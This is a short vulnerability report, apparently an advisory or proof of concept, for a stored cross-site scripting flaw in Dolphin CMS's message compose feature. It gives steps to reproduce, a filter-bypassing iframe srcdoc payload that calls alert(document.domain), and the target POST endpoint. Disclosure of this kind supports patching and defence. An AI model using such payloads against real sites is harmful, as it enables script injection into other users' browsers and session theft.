Stored XSS via Send Message Functionality:
Steps to Reproduce:
1. Login and visit "http://192.168.58.170/dolphinCMS/mail.php?mode=compose"
2. Add "Recipient" and "Subject" with random words
3. Add the below mentioned XSS payload that would bypass the XSS filter in
the message section
4. Intercept the HTTP POST request and add the payload once again, as it
might get filtered (make sure to URL encode the spaces etc)
5. It would trigger once the message has been seen
<iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe>
// HTTP POST request
POST /dolphinCMS/mail.php?ajax_mode=true&action=compose_mail&recipient_id=1
